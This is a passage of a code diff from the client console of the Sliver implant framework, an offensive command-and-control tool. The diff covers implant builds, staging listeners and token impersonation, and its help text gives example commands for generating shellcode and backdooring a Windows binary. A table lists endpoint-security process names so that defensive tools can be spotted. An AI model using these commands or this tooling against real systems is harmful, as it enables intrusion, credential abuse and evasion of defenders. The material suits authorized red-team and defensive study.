return nil, err
}
}
con.PrintInfof("Using external builder: %s\n", externalBuilder.Name)
if config.IsBeacon {
interval := time.Duration(config.BeaconInterval)
con.PrintInfof("Externally generating new %s/%s beacon implant binary (%v)\n", config.GOOS, config.GOARCH, interval)
} else {
con.PrintInfof("Externally generating new %s/%s implant binary\n", config.GOOS, config.GOARCH)
}
if config.ObfuscateSymbols {
con.PrintInfof("%sSymbol obfuscation is enabled%s\n", console.Bold, console.Normal)
} else if !config.Debug {
con.PrintErrorf("Symbol obfuscation is %sdisabled%s\n", console.Bold, console.Normal)
}
start := time.Now()
listenerID, listener := con.CreateEventListener()
waiting := true
spinner := spin.New()
sigint := make(chan os.Signal, 1) // Catch keyboard interrupts
signal.Notify(sigint, os.Interrupt)
con.PrintInfof("Creating external build ... ")
externalImplantConfig, err := con.Rpc.GenerateExternal(context.Background(), &clientpb.ExternalGenerateReq{
Config: config,
BuilderName: externalBuilder.Name,
})
if err != nil {
con.PrintErrorf("%s\n", err)
return nil, err
}
con.Printf("done\n")
var name string
msgF := "Waiting for external builder to acknowledge build (template: %s) ... %s"
for waiting {
select {
case <-time.After(100 * time.Millisecond):
elapsed := time.Since(start)
msg := fmt.Sprintf(msgF, externalImplantConfig.Config.TemplateName, elapsed.Round(time.Second))
fmt.Fprintf(con.App.Stdout(), console.Clearln+" %s %s", spinner.Next(), msg)
case event := <-listener:
switch event.EventType {
case consts.ExternalBuildFailedEvent:
parts := strings.SplitN(string(event.Data), ":", 2)
if len(parts) != 2 {
continue
}
if parts[0] == externalImplantConfig.Config.ID {
con.RemoveEventListener(listenerID)
return nil, fmt.Errorf("external build failed: %s", parts[1])
}
case consts.AcknowledgeBuildEvent:
if string(event.Data) == externalImplantConfig.Config.ID {
msgF = "External build acknowledged by builder (template: %s) ... %s"
}
case consts.ExternalBuildCompletedEvent:
parts := strings.SplitN(string(event.Data), ":", 2)
if len(parts) != 2 {
continue
}
if parts[0] == externalImplantConfig.Config.ID {
con.RemoveEventListener(listenerID)
name = parts[1]
waiting = false
}
}
case <-sigint:
waiting = false
con.Printf("\n")
return nil, fmt.Errorf("user interrupt")
}
}
elapsed := time.Since(start)
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
generated, err := con.Rpc.Regenerate(context.Background(), &clientpb.RegenerateReq{
ImplantName: name,
})
if err != nil {
return nil, err
}
con.PrintInfof("Build name: %s (%d bytes)\n", name, len(generated.File.Data))
saveTo, err := saveLocation(save, filepath.Base(generated.File.Name))
if err != nil {
return nil, err
}
err = os.WriteFile(saveTo, generated.File.Data, 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return nil, err
}
con.PrintInfof("Implant saved to %s\n", saveTo)
return nil, nil
}
func compile(config *clientpb.ImplantConfig, save string, con *console.SliverConsoleClient) (*commonpb.File, error) {
if config.IsBeacon {
interval := time.Duration(config.BeaconInterval)
@@ -782,8 +632,9 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
return nil, err
}
elapsed := time.Since(start)
con.PrintInfof("Build completed in %s\n", elapsed.Round(time.Second))
end := time.Now()
elapsed := time.Time{}.Add(end.Sub(start))
con.PrintInfof("Build completed in %s\n", elapsed.Format("15:04:05"))
if len(generated.File.Data) == 0 {
con.PrintErrorf("Build failed, no file data\n")
return nil, errors.New("no file data")
@@ -816,7 +667,7 @@ func compile(config *clientpb.ImplantConfig, save string, con *console.SliverCon
return nil, err
}
err = os.WriteFile(saveTo, fileData, 0700)
err = ioutil.WriteFile(saveTo, fileData, 0700)
if err != nil {
con.PrintErrorf("Failed to write to: %s\n", saveTo)
return nil, err
@@ -842,9 +693,6 @@ func getLimitsString(config *clientpb.ImplantConfig) string {
if config.LimitFileExists != "" {
limits = append(limits, fmt.Sprintf("fileexists=%s", config.LimitFileExists))
}
if config.LimitLocale != "" {
limits = append(limits, fmt.Sprintf("locale=%s", config.LimitLocale))
}
return strings.Join(limits, "; ")
}
@@ -906,48 +754,3 @@ func warnMissingCrossCompiler(format clientpb.OutputFormat, targetOS string, tar
survey.AskOne(prompt, &confirm, nil)
return confirm
}
func findExternalBuilders(config *clientpb.ImplantConfig, con *console.SliverConsoleClient) ([]*clientpb.Builder, error) {
builders, err := con.Rpc.Builders(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
if len(builders.Builders) < 1 {
return []*clientpb.Builder{}, ErrNoExternalBuilder
}
validBuilders := []*clientpb.Builder{}
for _, builder := range builders.Builders {
for _, target := range builder.Targets {
if target.GOOS == config.GOOS && target.GOARCH == config.GOARCH && config.Format == target.Format {
validBuilders = append(validBuilders, builder)
break
}
}
}
if len(validBuilders) < 1 {
return []*clientpb.Builder{}, ErrNoValidBuilders
}
return validBuilders, nil
}
func selectExternalBuilder(builders []*clientpb.Builder, con *console.SliverConsoleClient) (*clientpb.Builder, error) {
choices := []string{}
for _, builder := range builders {
choices = append(choices, builder.Name)
}
choice := ""
prompt := &survey.Select{
Message: "Select an external builder:",
Options: choices,
}
survey.AskOne(prompt, &choice, nil)
for _, builder := range builders {
if builder.Name == choice {
return builder, nil
}
}
return nil, ErrNoValidBuilders
}
+2 -7
View File
@@ -49,10 +49,10 @@ func ImplantsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
implantBuildFilters := ImplantBuildFilter{}
implantBuildfilters := ImplantBuildFilter{}
if 0 < len(builds.Configs) {
PrintImplantBuilds(builds.Configs, implantBuildFilters, con)
PrintImplantBuilds(builds.Configs, implantBuildfilters, con)
} else {
con.PrintInfof("No implant builds\n")
}
@@ -65,7 +65,6 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
tw.AppendHeader(table.Row{
"Name",
"Implant Type",
"Template",
"OS/Arch",
"Format",
"Command & Control",
@@ -104,13 +103,9 @@ func PrintImplantBuilds(configs map[string]*clientpb.ImplantConfig, filters Impl
for index, c2 := range config.C2 {
c2URLs = append(c2URLs, fmt.Sprintf("[%d] %s", index+1, c2.URL))
}
if config.TemplateName == "" {
config.TemplateName = "sliver"
}
tw.AppendRow(table.Row{
sliverName,
implantType,
config.TemplateName,
fmt.Sprintf("%s/%s", config.GOOS, config.GOARCH),
config.Format,
strings.Join(c2URLs, "\n"),
+2 -1
View File
@@ -20,6 +20,7 @@ package generate
import (
"context"
"io/ioutil"
"os"
"github.com/bishopfox/sliver/client/console"
@@ -50,7 +51,7 @@ func RegenerateCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintErrorf("%s\n", err)
return
}
err = os.WriteFile(saveTo, regenerate.File.Data, 0700)
err = ioutil.WriteFile(saveTo, regenerate.File.Data, 0700)
if err != nil {
con.PrintErrorf("Failed to write to %s\n", err)
return
+3 -23
View File
@@ -105,9 +105,6 @@ var (
consts.ReactionStr + sep + consts.UnsetStr: reactionUnsetHelp,
consts.Cursed + sep + consts.CursedChrome: cursedChromeHelp,
// Builders
consts.BuildersStr: buildersHelp,
}
jobsHelp = `[[.Bold]]Command:[[.Normal]] jobs <options>
@@ -209,10 +206,10 @@ stage-listener --url tcp://1.2.3.4:8080 --profile my-sliver-profile
To create a profile, use the [[.Bold]]profiles new[[.Normal]] command. A common scenario is to create a profile that generates a shellcode, which can act as a stage 2:
profiles new --format shellcode --mtls 1.2.3.4 --skip-symbols windows-shellcode
profiles new --profile-name windows-shellcode --format shellcode --mtls 1.2.3.4 --skip-symbols
`
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new <options> <profile name>
newProfileHelp = `[[.Bold]]Command:[[.Normal]] new [--profile-name] <options>
[[.Bold]]About:[[.Normal]] Create a new profile with a given name and options, a name is required.
[[.Bold]][[.Underline]]++ Profiles ++[[.Normal]]
@@ -467,20 +464,10 @@ The [[.Bold]]psexec[[.Normal]] command will use the credentials of the Windows u
[[.Bold]]About:[[.Normal]] Inject a sliver shellcode into an existing file on the target system.
[[.Bold]]Example:[[.Normal]] backdoor --profile windows-shellcode "c:\windows\system32\calc.exe"
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --http ab.cd windows-shellcode
[[.Bold]]Remark:[[.Normal]] you must first create a profile that will serve as your base shellcode, with the following command: profiles new --format shellcode --profile-name whatever --http ab.cd
`
makeTokenHelp = `[[.Bold]]Command:[[.Normal]] make-token -u USERNAME -d DOMAIN -p PASSWORD
[[.Bold]]About:[[.Normal]] Creates a new Logon Session from the specified credentials and impersonate the resulting token.
You can specify a custon Logon Type using the [[.Bold]]--logon-type[[.Normal]] flag, which defaults to [[.Bold]]LOGON32_LOGON_NEW_CREDENTIALS[[.Normal]].
Valid types are:
LOGON_INTERACTIVE
LOGON_NETWORK
LOGON_BATCH
LOGON_SERVICE
LOGON_UNLOCK
LOGON_NETWORK_CLEARTEXT
LOGON_NEW_CREDENTIALS
`
getEnvHelp = `[[.Bold]]Command:[[.Normal]] getenv [name]
@@ -714,13 +701,6 @@ the target extension must have either of these two sets of permissions:
2. "webRequest" "webRequestBlocking" "http://*/*" "https://*/*"
More information: https://github.com/mandatoryprogrammer/CursedChrome
`
buildersHelp = `[[.Bold]]Command:[[.Normal]] builders
[[.Bold]]About:[[.Normal]] Lists external builders currently registered with the server.
External builders allow the Sliver server offload implant builds onto external machines.
For more information: https://github.com/BishopFox/sliver/wiki/External-Builders
`
)
-5
View File
@@ -26,7 +26,6 @@ import (
"sort"
"strings"
"text/tabwriter"
"time"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/command/settings"
@@ -66,12 +65,10 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
"ID",
"Hostname",
"Operating System",
"Locale",
"Sessions",
"Beacons",
"IOCs",
"Extensions",
"First Contact",
})
for _, host := range hosts {
var shortID string
@@ -84,12 +81,10 @@ func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string
shortID,
host.Hostname,
host.OSVersion,
host.Locale,
hostSessions(host.HostUUID, con),
hostBeacons(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
con.FormatDateDelta(time.Unix(host.FirstContact, 0), true, false),
})
}
return tw.Render()
+3 -26
View File
@@ -22,7 +22,6 @@ import (
"context"
"time"
"github.com/bishopfox/sliver/client/command/use"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -34,25 +33,10 @@ import (
// InfoCmd - Display information about the active session
func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var err error
// Check if we have an active target via 'use'
session, beacon := con.ActiveTarget.Get()
idArg := ctx.Args.String("session")
if idArg != "" {
// ID passed via argument takes priority
session, beacon, err = use.SessionOrBeaconByID(idArg, con)
} else {
if session == nil && beacon == nil {
session, beacon, err = use.SelectSessionOrBeacon(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
session, beacon := con.ActiveTarget.GetInteractive()
if session == nil && beacon == nil {
return
}
if session != nil {
con.Printf(console.Bold+" Session ID: %s%s\n", console.Normal, session.ID)
@@ -65,14 +49,11 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, session.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, session.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, session.Version)
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, session.Locale)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, session.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, session.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, session.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, session.ProxyURL)
con.Printf(console.Bold+"Reconnect Interval: %s%s\n", console.Normal, time.Duration(session.ReconnectInterval).String())
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.FirstContact, 0), true, false))
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(session.LastCheckin, 0), true, false))
} else if beacon != nil {
@@ -86,16 +67,12 @@ func InfoCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.Printf(console.Bold+" PID: %s%d\n", console.Normal, beacon.PID)
con.Printf(console.Bold+" OS: %s%s\n", console.Normal, beacon.OS)
con.Printf(console.Bold+" Version: %s%s\n", console.Normal, beacon.Version)
con.Printf(console.Bold+" Locale: %s%s\n", console.Normal, beacon.Locale)
con.Printf(console.Bold+" Arch: %s%s\n", console.Normal, beacon.Arch)
con.Printf(console.Bold+" Active C2: %s%s\n", console.Normal, beacon.ActiveC2)
con.Printf(console.Bold+" Remote Address: %s%s\n", console.Normal, beacon.RemoteAddress)
con.Printf(console.Bold+" Proxy URL: %s%s\n", console.Normal, beacon.ProxyURL)
con.Printf(console.Bold+" Interval: %s%s\n", console.Normal, time.Duration(beacon.Interval).String())
con.Printf(console.Bold+" Jitter: %s%s\n", console.Normal, time.Duration(beacon.Jitter).String())
con.Printf(console.Bold+" First Contact: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.FirstContact, 0), true, false))
con.Printf(console.Bold+" Last Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.LastCheckin, 0), true, false))
con.Printf(console.Bold+" Next Checkin: %s%s\n", console.Normal, con.FormatDateDelta(time.Unix(beacon.NextCheckin, 0), true, true))
} else {
con.PrintErrorf("No target session, see `help %s`\n", consts.InfoStr)
-1
View File
@@ -68,7 +68,6 @@ func HTTPSListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
EnforceOTP: !disableOTP,
LongPollTimeout: int64(longPollTimeout),
LongPollJitter: int64(longPollJitter),
RandomizeJARM: !ctx.Flags.Bool("disable-randomized-jarm"),
})
con.Println()
if err != nil {
+1 -18
View File
@@ -22,7 +22,6 @@ import (
"bytes"
"compress/zlib"
"context"
"encoding/binary"
"net/url"
"strconv"
"strings"
@@ -40,7 +39,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
listenerURL := ctx.Flags.String("url")
aesEncryptKey := ctx.Flags.String("aes-encrypt-key")
aesEncryptIv := ctx.Flags.String("aes-encrypt-iv")
prependSize := ctx.Flags.Bool("prepend-size")
compress := strings.ToLower(ctx.Flags.String("compress"))
if profileName == "" || listenerURL == "" {
@@ -70,7 +68,7 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
if aesEncryptKey != "" {
// check if aes encryption key is correct length
if len(aesEncryptKey)%16 != 0 {
con.PrintErrorf("Incorrect length of AES Key\n")
con.PrintErrorf("Incorect length of AES Key\n")
return
}
@@ -119,9 +117,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
switch stagingURL.Scheme {
case "http":
if prependSize {
stage2 = prependPayloadSize(stage2)
}
ctrl := make(chan bool)
con.SpinUntil("Starting HTTP staging listener...", ctrl)
stageListener, err := con.Rpc.StartHTTPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -138,9 +133,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
con.PrintInfof("Job %d (http) started\n", stageListener.GetJobID())
case "https":
if prependSize {
stage2 = prependPayloadSize(stage2)
}
cert, key, err := getLocalCertificatePair(ctx)
if err != nil {
con.Println()
@@ -166,8 +158,6 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
con.PrintInfof("Job %d (https) started\n", stageListener.GetJobID())
case "tcp":
// Always prepend payload size for TCP stagers
stage2 = prependPayloadSize(stage2)
ctrl := make(chan bool)
con.SpinUntil("Starting TCP staging listener...", ctrl)
stageListener, err := con.Rpc.StartTCPStagerListener(context.Background(), &clientpb.StagerListenerReq{
@@ -194,10 +184,3 @@ func StageListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintInfof("AES IV: %v\n", aesEncryptIv)
}
}
func prependPayloadSize(payload []byte) []byte {
payloadSize := uint32(len(payload))
lenBuf := make([]byte, 4)
binary.LittleEndian.PutUint32(lenBuf, payloadSize)
return append(lenBuf, payload...)
}
+4 -14
View File
@@ -19,10 +19,8 @@ package portfwd
*/
import (
"fmt"
"log"
"net"
"regexp"
"time"
"github.com/bishopfox/sliver/client/console"
@@ -31,10 +29,6 @@ import (
"github.com/desertbit/grumble"
)
var (
portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
)
// PortfwdAddCmd - Add a new tunneled port forward
func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
@@ -42,10 +36,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
return
}
if session.GetActiveC2() == "dns" {
con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
con.PrintWarnf("Current C2 is DNS, this is going to be a very slow tunnel!\n")
}
if session.Transport == "wg" {
con.PrintWarnf("The current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
con.PrintWarnf("Current C2 is WireGuard, we recommend using the `wg-portfwd` command!\n")
}
remoteAddr := ctx.Flags.String("remote")
if remoteAddr == "" {
@@ -61,14 +55,10 @@ func PortfwdAddCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.PrintWarnf("RDP is generally broken over tunneled portfwds, we recommend using WireGuard portfwds\n")
}
bindAddr := ctx.Flags.String("bind")
if bindAddr == "" {
con.PrintErrorf("Must specify a bind target host:port (e.g. 127.0.0.1:8000)")
if remoteAddr == "" {
con.PrintErrorf("Must specify a bind target host:port")
return
}
// If only a port is specified bind to localhost
if portNumberOnlyRegexp.MatchString(bindAddr) {
bindAddr = fmt.Sprintf("127.0.0.1:%s", bindAddr)
}
tcpProxy := &tcpproxy.Proxy{}
channelProxy := &core.ChannelProxy{
+4 -21
View File
@@ -28,16 +28,6 @@ import (
"google.golang.org/protobuf/proto"
)
var logonTypes = map[string]uint32{
"LOGON_INTERACTIVE": 2,
"LOGON_NETWORK": 3,
"LOGON_BATCH": 4,
"LOGON_SERVICE": 5,
"LOGON_UNLOCK": 7,
"LOGON_NETWORK_CLEARTEXT": 8,
"LOGON_NEW_CREDENTIALS": 9,
}
// MakeTokenCmd - Windows only, create a token using "valid" credentails
func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session, beacon := con.ActiveTarget.GetInteractive()
@@ -48,12 +38,6 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
username := ctx.Flags.String("username")
password := ctx.Flags.String("password")
domain := ctx.Flags.String("domain")
logonType := ctx.Flags.String("logon-type")
if _, ok := logonTypes[logonType]; !ok {
con.PrintErrorf("Invalid logon type: %s\n", logonType)
return
}
if username == "" || password == "" {
con.PrintErrorf("Pou must provide a username and password\n")
@@ -64,11 +48,10 @@ func MakeTokenCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
con.SpinUntil("Creating new logon session ...", ctrl)
makeToken, err := con.Rpc.MakeToken(context.Background(), &sliverpb.MakeTokenReq{
Request: con.ActiveTarget.Request(ctx),
Username: username,
Domain: domain,
Password: password,
LogonType: logonTypes[logonType],
Request: con.ActiveTarget.Request(ctx),
Username: username,
Domain: domain,
Password: password,
})
ctrl <- true
<-ctrl
-8
View File
@@ -36,12 +36,8 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
}
username := ctx.Flags.String("username")
password := ctx.Flags.String("password")
domain := ctx.Flags.String("domain")
showWindow := ctx.Flags.Bool("show-window")
process := ctx.Flags.String("process")
arguments := ctx.Flags.String("args")
netonly := ctx.Flags.Bool("net-only")
if username == "" {
con.PrintErrorf("Please specify a username\n")
@@ -58,10 +54,6 @@ func RunAsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Username: username,
ProcessName: process,
Args: arguments,
Domain: domain,
Password: password,
HideWindow: !showWindow,
NetOnly: netonly,
})
if err != nil {
con.PrintErrorf("%s", err)
-49
View File
@@ -21,7 +21,6 @@ package processes
import (
"context"
"fmt"
"sort"
"strings"
"github.com/bishopfox/sliver/client/command/settings"
@@ -40,11 +39,6 @@ var (
// Process Name -> [Color, Stylized Name]
"ccSvcHst.exe": {console.Red, "Symantec Endpoint Protection"}, // Symantec Endpoint Protection (SEP)
"cb.exe": {console.Red, "Carbon Black"}, // Carbon Black
"RepMgr.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepUtils.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepUx.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"RepWSC.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"scanhost.exe": {console.Red, "Carbon Black Cloud Sensor"}, // Carbon Black Cloud Sensor
"MsMpEng.exe": {console.Red, "Windows Defender"}, // Windows Defender
"smartscreen.exe": {console.Red, "Windows Smart Screen"}, // Windows Defender Smart Screen
"CSFalconService.exe": {console.Red, "CrowdStrike"}, // Crowdstrike Falcon Service
@@ -52,28 +46,12 @@ var (
"bdservicehost.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdagent.exe": {console.Red, "Bitdefender"}, // Bitdefender (Total Security)
"bdredline.exe": {console.Red, "Bitdefender"}, // Bitdefender Redline Update Service (Source https://community.bitdefender.com/en/discussion/82135/bdredline-exe-bitdefender-total-security-2020)
"Deep Security Manager.exe": {console.Red, "Trend Micro"}, // TM Deep Security Manager
"coreServiceShell.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"ds_monitor.exe": {console.Red, "Trend Micro"}, // TM Deep Security Monitor
"Notifier.exe": {console.Red, "Trend Micro"}, // TM Deep Security Notifier's process
"dsa.exe": {console.Red, "Trend Micro"}, // TM Agent's main process
"ds_nuagent.exe": {console.Red, "Trend Micro"}, // TM Advanced TLS traffic inspection
"coreFrameworkHost.exe": {console.Red, "Trend Micro"}, // TM Anti-malware scan process
"SentinelServiceHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngine.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelStaticEngineScanner.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgent.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelAgentWorker.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelHelperService.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelBrowserNativeHost.exe": {console.Red, "SentinelOne"}, // Sentinel One
"SentinelUI.exe": {console.Red, "SentinelOne"}, // Sentinel One
"Sysmon.exe": {console.Red, "Sysmon"}, // Sysmon
"Sysmon64.exe": {console.Red, "Sysmon64"}, // Sysmon64
"CylanceSvc.exe": {console.Red, "Cylance"}, // Cylance
"CylanceUI.exe": {console.Red, "Cylance"}, // Cylance
"TaniumClient.exe": {console.Red, "Tanium"}, // Tanium
"TaniumCX.exe": {console.Red, "Tanium"}, // Tanium
"TaniumDetectEngine.exe": {console.Red, "Tanium"}, // Tanium
}
)
@@ -132,25 +110,6 @@ func PrintPS(os string, ps *sliverpb.Ps, interactive bool, ctx *grumble.Context,
ownerFilter := ctx.Flags.String("owner")
overflow := ctx.Flags.Bool("overflow")
skipPages := ctx.Flags.Int("skip-pages")
pstree := ctx.Flags.Bool("tree")
if pstree {
var currentPID int32
session, beacon := con.ActiveTarget.GetInteractive()
if session != nil && session.PID != 0 {
currentPID = session.PID
} else if beacon != nil && beacon.PID != 0 {
currentPID = beacon.PID
}
// Print the process tree
sorted := SortProcessesByPID(ps.Processes)
tree := NewPsTree(currentPID)
for _, p := range sorted {
tree.AddProcess(p)
}
con.PrintInfof("Process Tree:\n%s", tree.String())
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
@@ -290,11 +249,3 @@ func GetPIDByName(ctx *grumble.Context, name string, con *console.SliverConsoleC
}
return -1
}
// SortProcessesByPID - Sorts a list of processes by PID
func SortProcessesByPID(ps []*commonpb.Process) []*commonpb.Process {
sort.Slice(ps, func(i, j int) bool {
return ps[i].Pid < ps[j].Pid
})
return ps
}
-149
View File
@@ -1,149 +0,0 @@
package processes
import (
"fmt"
"sort"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/xlab/treeprint"
)
// A PsTree is a tree of *commonpb.Process
type PsTree struct {
printableTree treeprint.Tree // only used for rendering
implantPID int32
procTree *node // used to hold the tree structure
}
type node struct {
Value *commonpb.Process // The process information
Children map[int32]*node // The children of this node
Parent *node // The parent of this node
}
// NewPsTree creates a new PsTree
func NewPsTree(pid int32) *PsTree {
return &PsTree{
printableTree: treeprint.New(),
implantPID: pid,
procTree: &node{Value: &commonpb.Process{Pid: -1}},
}
}
func (n *node) insert(proc *commonpb.Process) {
if n.Value == nil {
n.Value = proc
return
}
if parent := n.findParent(proc); parent != nil {
if parent.Children == nil {
parent.Children = make(map[int32]*node)
}
parent.Children[proc.Pid] = &node{Value: proc, Parent: parent}
} else {
if n.Children == nil {
n.Children = make(map[int32]*node)
}
n.Children[proc.Pid] = &node{Value: proc, Parent: n}
}
}
func (n *node) findParent(proc *commonpb.Process) *node {
if n.Value == nil {
return nil
}
if n.Value.Pid == proc.Ppid {
return n
}
for _, child := range n.Children {
if p := child.findParent(proc); p != nil {
return p
}
}
return nil
}
func reorder(root *node) {
toDelete := make([]int32, 0)
for pid, child := range root.Children {
// skip root node
if child.Value.Pid == -1 {
continue
}
// Skip edge case of [System Process] on Windows
if child.Value.Ppid == pid {
continue
}
// only focus on children without parent
if child.Parent.Value.Pid == -1 {
if parent := root.findParent(child.Value); parent != nil {
child.Parent = parent
if parent.Children == nil {
parent.Children = make(map[int32]*node)
}
// copy to new parent
parent.Children[pid] = child
// mark for deletion
toDelete = append(toDelete, pid)
}
}
}
// delete children that were moved
for _, pid := range toDelete {
delete(root.Children, pid)
}
}
func (t *PsTree) AddProcess(proc *commonpb.Process) {
t.procTree.insert(proc)
}
func (t *PsTree) filterProc(proc *commonpb.Process) string {
color := console.Normal
if proc.Pid == t.implantPID {
color = console.Green
}
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
color = secTool[0]
}
return fmt.Sprintf(color+"%s"+console.Normal, proc.Executable)
}
func (t *PsTree) String() string {
reorder(t.procTree)
return t.Print()
}
func (t *PsTree) Print() string {
topLevelPIDs := make([]int, 0, len(t.procTree.Children))
for k := range t.procTree.Children {
topLevelPIDs = append(topLevelPIDs, int(k))
}
sort.Ints(topLevelPIDs)
for _, pid := range topLevelPIDs {
current := t.printableTree.AddMetaBranch(pid, t.filterProc(t.procTree.Children[int32(pid)].Value))
t.addToTree(current, t.procTree.Children[int32(pid)].Children)
}
return t.printableTree.String()
}
func (t *PsTree) addToTree(tree treeprint.Tree, procs map[int32]*node) {
for pid, proc := range procs {
if proc.Value.Pid == -1 {
continue
}
procName := t.filterProc(proc.Value)
procNode := tree.FindByMeta(pid)
if procNode == nil {
if len(proc.Children) > 0 {
procNode = tree.AddMetaBranch(pid, procName)
} else {
procNode = tree.AddMetaNode(pid, procName)
}
}
t.addToTree(procNode, proc.Children)
}
}
-77
View File
@@ -1,77 +0,0 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"fmt"
"regexp"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
var (
portNumberOnlyRegexp = regexp.MustCompile("^[0-9]+$")
)
// StartRportFwdListenerCmd - Start listener for reverse port forwarding on implant
func StartRportFwdListenerCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveTarget.GetSessionInteractive()
if session == nil {
return
}
if session.GetActiveC2() == "dns" {
con.PrintWarnf("The current C2 is DNS, this is going to be a very slow tunnel!\n")
}
bindAddress := ctx.Flags.String("bind")
// Check if the bind address is just a port number, if no host is specified
// we just bind to all interfaces implant-side
if portNumberOnlyRegexp.MatchString(bindAddress) {
bindAddress = fmt.Sprintf(":%s", bindAddress)
}
forwardAddress := ctx.Flags.String("remote")
// Check if the forward address is just a port number, if no host is specified
// we just forward to localhost client-side
if portNumberOnlyRegexp.MatchString(forwardAddress) {
forwardAddress = fmt.Sprintf("127.0.0.1:%s", forwardAddress)
}
rportfwdListener, err := con.Rpc.StartRportFwdListener(context.Background(), &sliverpb.RportFwdStartListenerReq{
Request: con.ActiveTarget.Request(ctx),
BindAddress: bindAddress,
ForwardAddress: forwardAddress,
})
if err != nil {
con.PrintWarnf("%s\n", err)
return
}
printStartedRportFwdListener(rportfwdListener, con)
}
func printStartedRportFwdListener(rportfwdListener *sliverpb.RportFwdListener, con *console.SliverConsoleClient) {
if rportfwdListener.Response != nil && rportfwdListener.Response.Err != "" {
con.PrintErrorf("%s", rportfwdListener.Response.Err)
return
}
con.PrintInfof("Reverse port forwarding %s <- %s\n", rportfwdListener.ForwardAddress, rportfwdListener.BindAddress)
}
-55
View File
@@ -1,55 +0,0 @@
package rportfwd
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
